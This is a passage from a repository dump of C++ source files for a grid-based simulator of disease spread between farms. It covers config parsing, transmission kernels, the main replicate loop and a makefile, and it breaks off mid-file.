"text": "#include <fstream>\n#include <sstream>\n#include <algorithm>\n\n#include \"common_functions.h\"\n#include \"Config.h\"\n\nConfig::Config(std::string config_file)\n{\n\t// Read config file and store each paramter in parameter_vector.\n\tstd::ifstream f(config_file);\n\tif(f.is_open()){\n\t\twhile(!f.eof()){ // until end of file\n\t\t\tstd::string line;\n\t\t\tstd::stringstream ss;\n\t\t\t// First get an entire line from the config file\n\t\t\tstd::getline(f, line);\n\t\t\t// Put that in a stringstream (required for getline) and use getline again\n\t\t\t// to only read up until the comment character (delimiter).\n\t\t\tss << line;\n\t\t\tstd::getline(ss, line, '#');\n\t\t\t// If there is whitespace between the value of interest and the comment character\n\t\t\t// this will be read as part of the value. Therefore strip it of whitespace first.\n\t\t\tline.erase(std::remove_if(line.begin(), line.end(), isspace), line.end());\n\t\t\tif(line.size() != 0) //If there was anything but whitespace to the left of the delimiter.\n {\n parameter_vector.emplace_back(line);\n }\n\t\t}\n\t}\n\n if(parameter_vector.size() != 22)\n {\n std::cout << \"Error in config file. Should be 22 parameters, found \"\n << parameter_vector.size() << std::endl;\n exit(EXIT_FAILURE);\n }\n\n std::cout << parameter_vector.size() << \" parameters successfully read from configuration file.\" << std::endl;\n\n if(parameter_vector[0] != \"*\" and parameter_vector[0] != \"\")\n batch_name = parameter_vector[0];\n\n if(parameter_vector[1] != \"*\" and parameter_vector[1] != \"\")\n node_file = parameter_vector[1];\n\n if(parameter_vector[2] != \"*\" and parameter_vector[2] != \"\")\n max_timesteps = common::stringToNum<unsigned int>(parameter_vector[2]);\n\n if(parameter_vector[3] != \"*\" and parameter_vector[3] != \"\")\n n_replicates = common::stringToNum<unsigned int>(parameter_vector[3]);\n\n if(parameter_vector[4] != \"*\" and parameter_vector[4] != \"\")\n opt_method = common::stringToNum<unsigned int>(parameter_vector[4]);\n\n if(parameter_vector[5] != \"*\" and parameter_vector[5] != \"\")\n local_kernel = common::stringToNum<unsigned int>(parameter_vector[5]);\n\n if(parameter_vector[6] != \"*\" and parameter_vector[6] != \"\")\n lookup_table = common::stringToNum<unsigned int>(parameter_vector[6]);\n\n if(parameter_vector[7] != \"*\" and parameter_vector[7] != \"\")\n cell_method = common::stringToNum<unsigned int>(parameter_vector[7]);\n\n if(parameter_vector[8] != \"*\" and parameter_vector[8] != \"\")\n n_cells_1d = common::stringToNum<unsigned int>(parameter_vector[8]);\n\n if(parameter_vector[9] != \"*\" and parameter_vector[9] != \"\")\n cell_max_farms = common::stringToNum<unsigned int>(parameter_vector[9]);\n\n if(parameter_vector[10] != \"*\" and parameter_vector[10] != \"\")\n inc_time = common::stringToNum<unsigned int>(parameter_vector[10]);\n\n if(parameter_vector[11] != \"*\" and parameter_vector[11] != \"\")\n det_time = common::stringToNum<unsigned int>(parameter_vector[11]);\n\n if(parameter_vector[12] != \"*\" and parameter_vector[12] != \"\")\n rem_time = common::stringToNum<unsigned int>(parameter_vector[12]);\n\n if(parameter_vector[13] != \"*\" and parameter_vector[13] != \"\")\n seed_method = common::stringToNum<unsigned int>(parameter_vector[13]);\n\n if(parameter_vector[14] != \"*\" and parameter_vector[14] != \"\")\n seed_n = common::stringToNum<unsigned int>(parameter_vector[14]);\n\n if(parameter_vector[15] != \"*\" and parameter_vector[15] != \"\")\n seed_file = parameter_vector[15];\n\n if(parameter_vector[16] != \"*\" and parameter_vector[16] != \"\")\n output_levels = common::split_stoi(parameter_vector[16], ',');\n\n if(parameter_vector[17] != \"*\" and parameter_vector[17] != \"\")\n {\n if(parameter_vector[17].compare(\"0\") == 0)\n make_plots = false;\n else\n make_plots = true;\n }\n\n if(parameter_vector[18] != \"*\" and parameter_vector[18] != \"\")\n {\n std::vector<double> sus_scale_v = common::split_stod(parameter_vector[18], ',');\n S1 = sus_scale_v[0];\n S2 = sus_scale_v[1];\n }\n\n if(parameter_vector[19] != \"*\" and parameter_vector[19] != \"\")\n {\n std::vector<double> inf_scale_v = common::split_stod(parameter_vector[19], ',');\n T1 = inf_scale_v[0];\n T2 = inf_scale_v[1];\n }\n\n if(parameter_vector[20] != \"*\" and parameter_vector[20] != \"\")\n {\n std::vector<double> sus_exp_v = common::split_stod(parameter_vector[20], ',');\n q1 = sus_exp_v[0];\n q2 = sus_exp_v[1];\n }\n\n if(parameter_vector[21] != \"*\" and parameter_vector[21] != \"\")\n {\n std::vector<double> inf_exp_v = common::split_stod(parameter_vector[21], ',');\n p1 = inf_exp_v[0];\n p2 = inf_exp_v[1];\n }\n\n// if(parameter_vector[22] != \"*\" and parameter_vector[21] != \"\")\n// {\n// shipment_file = parameter_vector[22];\n// shipments_on = true;\n// }\n\n //Assign pointers to functions\n if(local_kernel == 1)\n k_function = &common::USDOS2_kernel;\n else if(local_kernel == 2)\n k_function = &common::gaussian_kernel;\n else if(local_kernel == 3)\n k_function = &common::USDOS2_kernel_half_gamma;\n else if(local_kernel == 4)\n k_function = &common::USDOS2_kernel_double_gamma;\n else if(local_kernel == 5)\n k_function = &common::brand_kernel_a3;\n else if(local_kernel == 6)\n k_function = &common::brand_kernel_a4;\n else if(local_kernel == 7)\n k_function = &common::brand_kernel_a5;\n else if(local_kernel == 8)\n k_function = &common::hayama_kernel;\n else if(local_kernel == 9)\n k_function = &common::USDOS2_kernel_v2;\n\n if(distance_method == 2)\n d_function = &common::sq_distance;\n else\n d_function = &common::eucl_distance;\n\n //Set up other parameters.\n if(opt_method == 4)\n {\n opt_on_node_level = false;\n }\n else\n {\n opt_on_node_level = true;\n }\n\n if (seed_method == 2)\n {\n std::ifstream f(seed_file, std::ifstream::in);\n if(f.is_open())\n {\n seed_n = common::get_n_lines(f);\n }\n else\n {\n std::cout << \"Failed to open seed file \" << seed_file << \".\" << std::endl;\n exit(EXIT_FAILURE);\n }\n }\n else if(seed_method == 3)\n {\n specific_seed_id = seed_n;\n seed_n = 1;\n }\n else if(seed_method == 4)\n {\n seed_n = 1;\n }\n}\n\nConfig::~Config()\n{\n //dtor\n}\n\nstd::string Config::as_str()\n{\n std::stringstream ss;\n ss << \";batch_name=\" << batch_name\n << \";node_file=\" << node_file\n << \"max_timesteps=\" << max_timesteps\n << \";n_replicates=\" << n_replicates\n << \";opt_method=\" << opt_method\n << \";cell_method=\" << cell_method\n << \";n_cells_1d=\" << n_cells_1d\n << \";cell_max_farms=\" << cell_max_farms\n << \";inc_time=\" << inc_time\n << \";det_time=\" << det_time\n << \";rem_time=\" << rem_time\n << \";seed_method=\" << seed_method\n << \";seed_file=\" << seed_file\n << \"\\n\";\n return ss.str();\n}\n"
},
{
"alpha_fraction": 0.586909294128418,
"alphanum_fraction": 0.6366105079650879,
"avg_line_length": 27.106870651245117,
"blob_id": "99fe04fc5cd0ff6154e123b5c9cff8a113c771bc",
"content_id": "92e77cf89920fffec7dc67692a1cac648592def5",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7364,
"license_type": "permissive",
"max_line_length": 125,
"num_lines": 262,
"path": "/src/common_functions.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#define _USE_MATH_DEFINES\n\n#include \"common_functions.h\"\n#include <math.h>\n#include <random>\n#include <chrono>\n#include <functional>\n\nTimePoint common::get_wall_time()\n{\n return std::chrono::high_resolution_clock::now();\n}\n\nunsigned long long int common::delta_duration(TimePoint t1)\n{\n auto d = std::chrono::duration_cast<std::chrono::milliseconds>(common::get_wall_time() - t1).count();\n return (unsigned long long int)(d);\n}\n\n//Euclidean distance squared\ndouble common::sq_distance(Point p1, Point p2)\n{\n double delta_x = p1.get_x() - p2.get_x();\n double delta_y = p1.get_y() - p2.get_y();\n return (delta_x*delta_x) + (delta_y*delta_y);\n}\n\ndouble common::eucl_distance(Point p1, Point p2)\n{\n return std::sqrt(common::sq_distance(p1, p2));\n}\n\n//This is the Buhnerkempe kernel.\ndouble common::USDOS2_kernel(double d)\n{\n //Original\n double k1 = 0.08912676;\n double k2 = 1600;\n double k3 = 4.6;\n return k1 / (1 + std::pow((d/k2),k3));\n}\n\ndouble common::USDOS2_kernel_square(double d)\n{\n //Original\n //Same as USDOS2_kernel but accepts distance^2 instead of distance.\n //This means that sqrt operation can be avoided when calc. distance,\n //which potentially could be a little bit faster. This was not\n //used in the study.\n double k1 = 0.08912676;\n double k2 = 1600.0;\n double k3 = 4.6;\n return k1 / (1 + std::pow(d, (k3*0.5)) / std::pow(k2, k3));\n\n}\n\ndouble common::USDOS2_kernel_half_gamma(double d)\n{\n double k1 = 0.01813338;\n double k2 = 1600;\n double k3 = 2.3;\n return k1 / (1 + std::pow((d/k2),k3));\n}\n\ndouble common::USDOS2_kernel_square_half_gamma(double d)\n{\n //Same as kernel() but accepts distance^2 instead of distance.\n //This means that sqrt operation can be avoided when calc. distance,\n //which potentially could be a little bit faster. This was not\n //used in the study.\n double k1 = 0.01813338;\n double k2 = 1600.0;\n double k3 = 4.6;\n return k1 / (1 + std::pow(d, (k3*0.5)) / std::pow(k2, k3));\n\n}\n\ndouble common::USDOS2_kernel_double_gamma(double d)\n{\n double k1 = 0.11489682;\n double k2 = 1600;\n double k3 = 9.2;\n return k1 / (1 + std::pow((d/k2),k3));\n}\n\ndouble common::USDOS2_kernel_square_double_gamma(double d)\n{\n //Same as USDOS2_kernel but accepts distance^2 instead of distance.\n //This means that sqrt operation can be avoided when calc. distance,\n //which potentially could be a little bit faster. This was not\n //used in the study.\n double k1 = 0.11489682;\n double k2 = 1600.0;\n double k3 = 9.2;\n return k1 / (1 + std::pow(d, (k3*0.5)) / std::pow(k2, k3));\n\n}\n\ndouble common::gaussian_kernel(double d)\n{\n //Bivariate normal but mu_x=mu_y=0 and sigma_x = sigma_y and rho=0,\n //d is x^2 + y^2 which is the squared eucl distance.\n double L_1_norm = 0.2*(1000.0*1000.0);\n double length_scale = 3.0*1000.0;\n double fact_1 = 1.0 / (2*M_PI*length_scale*length_scale);\n return L_1_norm * fact_1 * std::exp(-(d / (2*length_scale*length_scale)));\n}\n\ndouble common::brand_kernel_a3(double d)\n{\n d = d / 1000.0; //Transform to km\n double beta = 0.115;\n double L3 = 10.0;\n double N3 = 1.0 / (2*M_PI);\n return beta * N3 * L3 * std::pow(L3*L3 + d * d, -1.5);\n}\n\ndouble common::brand_kernel_a4(double d)\n{\n d = d / 1000.0; //Transform to km\n double beta = 0.115;\n double L4 = 20.0 / (0.5*M_PI);\n double N4 = L4 / M_PI;\n return beta * N4 * L4 * std::pow(L4*L4 + d * d, -2.0);\n}\n\ndouble common::brand_kernel_a5(double d)\n{\n d = d / 1000.0; //Transform to km\n double beta = 0.115;\n double L5 = 20.0;\n double N5 = (3.0 * L5 * L5) / (2 * M_PI);\n return beta * N5 * L5 * std::pow(L5*L5 + d*d, -2.5);\n}\n\ndouble common::hayama_kernel(double d)\n{\n d = d / 1000.0; //Transform to km\n double Hayama_r0 = 0.58;\n double Hayama_h0 = 0.00074;\n double Hayama_alpha = 2.47;\n return Hayama_h0 * std::pow(1 + (d/Hayama_r0), -Hayama_alpha);\n}\n\ndouble common::USDOS2_kernel_v2(double d)\n{\n double USDOS_k1 = 1.293833e-08;\n double USDOS_k2 = 2116.798;\n double USDOS_k3 = 2.38;\n return USDOS_k1 / (1 + std::pow(d/USDOS_k2, USDOS_k3));\n}\n\n//Returns number of lines in a file.\nunsigned int common::get_n_lines(std::ifstream& f)\n{\n unsigned int n_lines = 0;\n std::string tempstring;\n f.seekg(0, f.beg);\n while(std::getline(f, tempstring))\n n_lines++;\n f.clear();\n f.seekg(0, f.beg);\n return n_lines;\n}\n\ndouble common::unif_rand()\n{\n\tstatic unsigned long long int seed = std::chrono::system_clock::now().time_since_epoch().count();\n\tstatic std::mt19937 generator(seed); //Mersenne Twister pseudo-random number generator. Generally considered research-grade.\n static std::uniform_real_distribution<double> unif_dist(0.0, 1.0);\n\treturn unif_dist(generator);\n}\n\nint common::rand_int(int lo, int hi)\n{\n\tstd::uniform_int_distribution<int> unif_dist(lo, hi);\n\tstatic unsigned long long int seed = std::chrono::system_clock::now().time_since_epoch().count();\n\tstatic std::mt19937 generator(seed); //Mersenne Twister pseudo-random number generator. Generally considered research-grade.\n\treturn unif_dist(generator);\n}\n\nsize_t common::draw_binom(size_t n, double prob)\n// draw from a binomial distribution based on N farms and prob (calc with focalInf & gridKern)\n{\n\tstd::binomial_distribution<size_t> binom_dist(n, prob);\n\tstatic unsigned long long int seed = std::chrono::system_clock::now().time_since_epoch().count();\n\tstatic std::mt19937 generator(seed); //Mersenne Twister pseudo-random number generator. Generally considered research-grade.\n\treturn binom_dist(generator);\n}\n\n// Skips the Byte Order Mark (BOM) that defines UTF-8 in some text files.\n// Credit to user 'Contango' at stackoverflow.com\nvoid common::skipBOM(std::ifstream &in)\n{\n char test[3] = {0};\n in.read(test, 3);\n if ((unsigned char)test[0] == 0xEF &&\n (unsigned char)test[1] == 0xBB &&\n (unsigned char)test[2] == 0xBF)\n {\n return;\n }\n in.seekg(0);\n}\n\n//Split a string into a vector based on arbitrary delimiter.\nstd::vector<std::string> common::split(const std::string &s,\n char delim, std::vector<std::string> &elems)\n{\n std::stringstream ss(s);\n std::string item;\n while (std::getline(ss, item, delim))\n\t{\n\t\tif (!item.empty())\n\t\t{\n\t\t\telems.emplace_back(item);\n\t\t}\n }\n return elems;\n}\n\nstd::vector<std::string> common::split(const std::string &s, char delim)\n{\n std::vector<std::string> elems;\n split(s, delim, elems);\n return elems;\n}\n\nstd::vector<int> common::split_stoi(const std::string &s, char delim)\n{\n std::vector<std::string> elems = common::split(s, delim);\n std::vector<int> elems_int;\n for(std::string this_s : elems)\n elems_int.push_back(std::stoi(this_s));\n return elems_int;\n}\n\nstd::vector<double> common::split_stod(const std::string &s, char delim)\n{\n std::vector<std::string> elems = common::split(s, delim);\n std::vector<double> elems_int;\n for(std::string this_s : elems)\n elems_int.push_back(std::stod(this_s));\n return elems_int;\n}\n\n// Based on algorithm described at http://www.johndcook.com/blog/cpp_expm1/\ndouble common::oneMinusExp(double x)\n{\n\tif (x == 0.0)\n {\n\t\treturn 0.0;\n\t}\n\telse if (std::abs(x) < 1e-5)\n {\n\t\treturn -(x + 0.5*x*x);\n\t}\n\telse\n {\n\t\treturn -(exp(x) - 1.0);\n\t}\n}\n"
},
{
"alpha_fraction": 0.5200517177581787,
"alphanum_fraction": 0.5200517177581787,
"avg_line_length": 15.446808815002441,
"blob_id": "04647931817d4df379ec6eb48b84b0d9f04dad9a",
"content_id": "b88bd02bae9888cd2d7068323e839041f0011404",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 773,
"license_type": "permissive",
"max_line_length": 62,
"num_lines": 47,
"path": "/include/Point.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef POINT_H\n#define POINT_H\n\n#include <sstream>\n\n/**\nA point on the x-y plane.\n*/\n\nclass Point\n{\n public:\n /**\n Create using x and y coordinates.\n */\n Point();\n Point(double x, double y);\n ~Point();\n double get_x(); //Inlined\n double get_y(); //Inlined\n void set_x(double val);\n void set_y(double val);\n bool operator==(Point &other);\n bool operator!=(Point &other);\n\n private:\n double x;\n double y;\n};\n\ninline std::ostream& operator<<(std::ostream& stream, Point o)\n{\n stream << \"[\" << o.get_x() << \"; \" << o.get_y() << \"]\";\n return stream;\n}\n\ninline double Point::get_x()\n{\n return x;\n}\n\ninline double Point::get_y()\n{\n return y;\n}\n\n#endif // POINT_H\n"
},
{
"alpha_fraction": 0.5305555462837219,
"alphanum_fraction": 0.5364035367965698,
"avg_line_length": 37.8636360168457,
"blob_id": "0a46b297aa483ea8292a03257946a1f221e74694",
"content_id": "d673ce8982b42cd96873eba9a0589504330f7ce1",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6840,
"license_type": "permissive",
"max_line_length": 124,
"num_lines": 176,
"path": "/src/main.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#include <iostream>\n#include <vector>\n#include <ctime>\n#include <fstream>\n#include <sstream>\n#include \"Config.h\"\n#include \"Grid.h\"\n#include \"Node.h\"\n#include \"common_functions.h\"\n#include \"Output.h\"\n\nint main(int argc, char* argv[])\n{\n //Read config filenam as command line argument\n if(argc != 2)\n {\n std::cout << \"usage: \" << argv[0] << \" <config>\" << std::endl;\n exit(EXIT_FAILURE);\n }\n //Construc t config object based on config file\n Config C = Config(argv[1]);\n\n //Write headers to output files.\n for(int level : C.output_levels)\n {\n std::stringstream ss;\n ss << level;\n std::string res_fn = C.batch_name + \"_\" + ss.str() + \"_res.txt\";\n output::do_header(res_fn);\n }\n\n\n TimePoint init_start = common::get_wall_time();\n //Construct the grid\n Grid G = Grid(C);\n\n if(C.make_plots)\n {\n G.plotGridAndNodes(false);\n G.plotCellSizeHist(C.cell_max_farms);\n }\n\n unsigned long long int init_duration = common::delta_duration(init_start);\n\n //Results output at the time step of outbreak dying.\n std::string end_fn = C.batch_name + \"_end_res.txt\";\n output::do_header(end_fn);\n\n //Number of infected per replicate and group as defined by column 2 in the landscape file.\n std::string group_out_fn = C.batch_name + \"_group.txt\";\n std::vector<unsigned int> groups = G.get_groups();\n output::do_group_header(group_out_fn, groups);\n\n int n_replicates = C.n_replicates;\n //If seeed method is 4 one node in each group will be randomly seeded and n replicates will be = n groups.\n if(C.seed_method == 4)\n {\n n_replicates = G.get_n_groups();\n }\n\n //Each rep starts here\n for(unsigned int rep_i = 0; rep_i < n_replicates; rep_i++)\n {\n unsigned int time_step = 0;\n unsigned int stopping_criterion_index = 0;\n //Reset the all the nodes' statuses each rep.\n G.reset();\n //Seed according to seed method\n std::vector<Node*> seeded_nodes = G.seed();\n\n //Stringsream to store number in each class for every timestep.\n std::stringstream incidence_stream;\n incidence_stream << \"t\\tn_sus\\tn_exp\\tn_inf\\tn_det\\tn_rem\" << std::endl;\n //Get current numbers in each class.\n std::vector<size_t> current_status = G.get_current_status();\n //Insert numbers into stream.\n incidence_stream << time_step << \"\\t\" << current_status[0] << \"\\t\" //n sus\n << current_status[1] << \"\\t\" //n exposed\n << current_status[2] << \"\\t\" //n infectious\n << current_status[3] << \"\\t\" //n detected\n << current_status[4] << std::endl; //n removed\n\n std::cout << \"Replicate \" << rep_i << \" starting. \" << std::endl\n << \" Status is: susceptible \" << current_status[0]\n << \"; exposed \" << current_status[1] << \"; infectious \"\n << current_status[2] << \"; detected \" << current_status[3]\n << \"; removed \" << current_status[4] << std::endl;\n\n //Start disease simulation.\n int exit_status = 0;\n TimePoint rep_start = common::get_wall_time();\n time_step += 1;\n while(time_step <= C.max_timesteps and exit_status == 0)\n {\n //Move forward one timestep and perform all transmissions.\n G.incrementTime();\n unsigned long long int rep_duration = common::delta_duration(rep_start);\n\n //Get numbers in each model compartment after transmissions.\n current_status = G.get_current_status();\n unsigned int current_n_inf = current_status[1] + current_status[2] + current_status[3];\n unsigned int cum_infected_nodes = current_n_inf + current_status[4];\n\n //Add numbers in infection classes to stream.\n incidence_stream << time_step << \"\\t\" << current_status[0] << \"\\t\" //n sus\n << current_status[1] << \"\\t\" //n exposed\n << current_status[2] << \"\\t\" //n infectious\n << current_status[3] << \"\\t\" //n detected\n << current_status[4] << std::endl; //n removed\n\n //Outbreak died out.\n if(current_n_inf == 0)\n {\n exit_status = 1;\n break;\n }\n\n //Print results for the outbreak stages that have been reached.\n while(cum_infected_nodes >= C.output_levels.at(stopping_criterion_index))\n {\n std::stringstream ss;\n ss << C.output_levels.at(stopping_criterion_index);\n std::string res_fn = C.batch_name + \"_\" + ss.str() + \"_res.txt\";\n output::do_output(res_fn, G, C, time_step, rep_i, rep_duration, init_duration);\n if(stopping_criterion_index >= C.output_levels.size()-1)\n {\n exit_status = 2;\n break;\n }\n stopping_criterion_index++;\n }\n //Increse time step.\n time_step++;\n }\n\n //Rep finished.\n unsigned long long int rep_duration = common::delta_duration(rep_start);\n output::do_output(end_fn, G, C, time_step, rep_i, rep_duration, init_duration);\n std::string inf_fn = C.batch_name + \"_inf_\" + std::to_string(rep_i) + \".txt\";\n// output::do_inf_coordinates_output(inf_fn, G);\n\n std::unordered_map<unsigned int, std::vector<Node*>> group_infections = G.get_inf_nodes_by_group();\n //output::do_group_output(group_out_fn, rep_i, group_infections, groups, seeded_nodes);\n\n //Output the stream of number of cases in each class to file.\n// std::string incidence_fn = C.batch_name + \"_incidence_\" + std::to_string(rep_i) + \".txt\";\n// std::ofstream incidence_fs(incidence_fn);\n// if(incidence_fs.is_open())\n// {\n// incidence_fs << incidence_stream.rdbuf();\n// incidence_fs.close();\n// }\n// else\n// {\n// std::cout << \"Failed to open incidence file (\" << incidence_fn << \"). No incidence output made.\" << std::endl;\n// }\n\n\n if(exit_status == 1)\n {\n std::cout << \"No more transmission sources. Early exit at timestep \" << time_step\n << \" (replicate \" << rep_i << \").\" << std::endl;\n }\n else if(exit_status == 2)\n {\n std::cout << \"Reached \" << C.output_levels[C.output_levels.size()-1]\n << \" total infected nodes. Early exit.\" << std::endl;\n }\n else\n {\n std::cout << time_step-1 << \" time steps reached. Exiting (replicate \" << rep_i << \").\" << std::endl;\n }\n\n }\n return 0;\n}\n"
},
{
"alpha_fraction": 0.616797924041748,
"alphanum_fraction": 0.6246719360351562,
"avg_line_length": 19.052631378173828,
"blob_id": "498c309c275566b01b25cb31a277eef4eca3a5aa",
"content_id": "c9ba6896d9b52e1263cca4116f6070f8cc105dd1",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Makefile",
"length_bytes": 381,
"license_type": "permissive",
"max_line_length": 109,
"num_lines": 19,
"path": "/makefile",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "CC=g++\nCFLAGS=-c -std=gnu++11 -O2\nINCLUDE=-I./include/\nOBJDIR=obj/\n\nOBJLIST = Cell.o common_functions.o Config.o Grid.o Local_spread.o Node.o Point.o Shipment_handler.o main.o\n\nOBJECTS = $(addprefix $(OBJDIR), $(OBJLIST) )\n\nall:gridsim\n\ngridsim: $(OBJECTS)\n\t$(CC) $(OBJECTS) -o $@\n\n$(OBJECTS): ./$(OBJDIR)%.o: src/%.cpp\n\t$(CC) $(CFLAGS) $? -o $@ $(INCLUDE)\n\nclean:\n\trm obj/*.o\n"
},
{
"alpha_fraction": 0.6492208242416382,
"alphanum_fraction": 0.6709791421890259,
"avg_line_length": 54.75409698486328,
"blob_id": "f88abc427bda247bbe2a4c044f88004b3503c639",
"content_id": "fe83256b947cdd17944b3e267fffd1b20c22f75d",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3401,
"license_type": "permissive",
"max_line_length": 208,
"num_lines": 61,
"path": "/include/Config.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef CONFIG_H\n#define CONFIG_H\n\n#include \"common_functions.h\"\n\n#include <string>\n#include <vector>\n#include <thread>\n\nclass Config\n{\n public:\n Config(std::string config_file);\n ~Config();\n\n unsigned int max_timesteps; ///Maximum number of time steps before exiting.\n unsigned int n_replicates; ///Number of replicates to run with same grid.\n unsigned int opt_method; ///Method for speeding up disease spread calculations (0 = none, pairwise comp., 1 = Keeling, 2 = binomial)\n bool opt_on_node_level; ///Does the chosen optimiation method work on node to cell or cell to cell level?\n unsigned int lookup_table; ///Use a precalculated lookup table for the kernel evaluated at all integer distances.\n unsigned int cell_method; ///Cell creation method (1 = fixed, 2 = dynamic).\n unsigned int n_cells_1d; ///Number of cells along one axis of the grid.\n unsigned int cell_max_farms; ///Max farms before subdividing a cell.\n unsigned int inc_time; ///Incubation time, between exposure and infectiousness.\n unsigned int det_time; ///Detection time, between infectiousness and detection.\n unsigned int rem_time; ///Removal time. Delay between detected and removed (immune, vaccinated, culled).\n unsigned int seed_method; ///Seed method to use (1 = random, 2 = from file, 3 = one specific node).\n unsigned int seed_n; ///Number of nodes to seed each replicate.\n unsigned int specific_seed_id = 99999999; ///This is the node that will get seeded if seed_metod = 3.\n unsigned int local_kernel; ///Function to use for distance dependent probabilities (1 = USDOS2).\n unsigned int distance_method = 1; ///Function to use for calculating distances (1 = normal).\n std::string batch_name; ///Name of this batch of simulations\n std::string node_file; ///Name of file containing node data.\n std::string seed_file; ///Name of file with seed information.\n std::string shipment_file; ///Name of file containing a list of shipments with shipment id, origin id, destination id, timestep of shipment and number of animals; all tab-separated. One shipment/line.\n std::vector<int> output_levels; ///Output \"level\". Gridsim will output replicate results when the cumulative number of infected reaches these levels. Will also exit after the last output.\n bool make_plots; ///Output plots of the landscape.\n bool shipments_on = false; ///Is spread by shipments turned on.\n k_fun_ptr k_function; ///Pointer to kernel function in use.\n d_fun_ptr d_function; ///Pointer to distance function in use.\n\n /* Local spread infectiousness and susceptibility parameters.\n q1 & q2 - SUSCEPTIBILITY exponents for species 1 & 2.\n p1 & p2 - INFECTIOUSNESS (TRANSMISSIBILITY) exponents for sp 1 & 2.\n S1 & S2 - SUSCEPTIBILITY scale parameters for sp 1 & 2.\n T1 & T2 - INFECTIOUSNESS (TRANSMISSIBILITY) scale parameters for sp 1 & 2. */\n double q1 = 0.42;\n double p1 = 0.41;\n double S1 = 5.7;\n double T1 = 0.00082;\n double q2 = 0.42;\n double p2 = 0.41;\n double S2 = 5.7;\n double T2 = 0.00082;\n\n std::string as_str(); ///Returns a string representation of all settings.\n private:\n std::vector<std::string> parameter_vector;\n};\n\n#endif // CONFIG_H\n"
},
{
"alpha_fraction": 0.6284030079841614,
"alphanum_fraction": 0.6356300711631775,
"avg_line_length": 39.373939514160156,
"blob_id": "2df4e6f783a0a9dc4b84fcb45b49927afc7a7989",
"content_id": "de50fbb3f47a0780738293a97b122e683ab26437",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 14252,
"license_type": "permissive",
"max_line_length": 167,
"num_lines": 353,
"path": "/src/Local_spread.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#include \"Local_spread.h\"\n#include \"common_functions.h\"\n#include \"Config.h\"\n#include \"Cell.h\"\n#include \"Node.h\"\n\n#include <random>\n#include <algorithm>\n\nLocal_spread::Local_spread(const Config& C) : C(C)\n{\n //Setup optimization function pointers based on option set in config file.\n if(C.opt_method == 1)\n {\n o_function_node = &Local_spread::localPairwise;\n o_function_cell = nullptr;\n }\n else if(C.opt_method == 2)\n {\n o_function_node = &Local_spread::localKeeling;\n o_function_cell = nullptr;\n }\n else if(C.opt_method == 3)\n {\n o_function_node = &Local_spread::localBinomial;\n o_function_cell = nullptr;\n }\n else if(C.opt_method == 4)\n {\n o_function_node = nullptr;\n o_function_cell = &Local_spread::localBinomial_CtoC;\n }\n else\n {\n std::cout << \"Unknown optimization method selected (\" << C.opt_method\n << \").\" << std::endl << \"Exiting...\" << std::endl;\n exit(EXIT_FAILURE);\n }\n\n //Set pointers to functions to use for calculating probabilities.\n if(C.local_kernel == 1 or C.local_kernel == 2 or\n C.local_kernel == 3 or C.local_kernel == 4 or\n C.local_kernel == 5 or C.local_kernel == 6 or\n C.local_kernel == 7 or C.local_kernel == 8 or\n C.local_kernel == 9)\n {\n po_cell_function = &Local_spread::calc_infection_p_over_USDOS2; //Overload for cell & cell\n\n if(C.lookup_table == 0)\n {\n p_function = &Local_spread::calc_infection_p_USDOS2;\n }\n else if(C.lookup_table == 1)\n {\n p_function = &Local_spread::calc_infection_p_USDOS2_lookup;\n }\n else\n {\n std::cout << \"Unknown kernel lookup table option (6) selected (\" << C.local_kernel\n << \").\" << std::endl << \"Exiting...\" << std::endl;\n exit(EXIT_FAILURE);\n }\n }\n generator = new std::mt19937(std::chrono::system_clock::now().time_since_epoch().count());\n std::sort(binomial_lookup_ps.begin(), binomial_lookup_ps.end());\n}\n\nLocal_spread::~Local_spread()\n{\n //dtor\n}\n\nvoid Local_spread::init_kernel_lookup(double longest_distance)\n{\n //Precalculate kernel values for all possible integer distances within the landscape.\n kernel_lookup.assign(int(longest_distance + 2.5), -1.0);\n for(double d = 0.0; d < longest_distance + 1.0; d+=1.0)\n {\n double k = this->callKernel(d);\n kernel_lookup.at(int(d+0.5)) = k;\n }\n}\n\n//Initiates a set of binomial random value generators for all combinations of p and n in binomial_lookup_ps and [1 to largest cell] respectively.\nvoid Local_spread::init_binomial_lookup(size_t largest_n)\n{\n for(size_t n=0; n<largest_n+1; n++)\n {\n// std::vector<Bin5tbl*>* v = new std::vector<Bin5tbl*>;\n std::vector<std::binomial_distribution<size_t>*>* v = new std::vector<std::binomial_distribution<size_t>*>;\n v->assign(binomial_lookup_ps.size(), nullptr);\n for(size_t i = 0; i < binomial_lookup_ps.size(); i++)\n {\n double p = binomial_lookup_ps[i];\n// Bin5tbl* b = new Bin5tbl(n, p, true);\n std::binomial_distribution<size_t>* b = new std::binomial_distribution<size_t>(n, p);\n v->at(i) = b;\n }\n binomial_lookup.push_back(v);\n }\n}\n\n//Performs the transmission between one infectious node and one specific cell based on chosen optimization function (CE or PW).\nunsigned long long int Local_spread::makeInfections(Node* inf, Cell* recipient_cell)\n{\n unsigned long long int n_kernel_calls = 0;\n if(inf->get_parent() == recipient_cell) //If it is within-cell spread, use pairwise.\n n_kernel_calls = localPairwise(inf, recipient_cell);\n else //Otherwise use the chosen opt function.\n n_kernel_calls = (this->*o_function_node)(inf, recipient_cell);\n return n_kernel_calls;\n}\n\n//Performs the transmission between one cell with infectious nodes and one other cell based on chosen optimization function (CS).\nunsigned long long int Local_spread::makeInfections(Cell* inf_cell, Cell* recipient_cell)\n{\n unsigned long long int n_kernel_calls = 0;\n if(inf_cell == 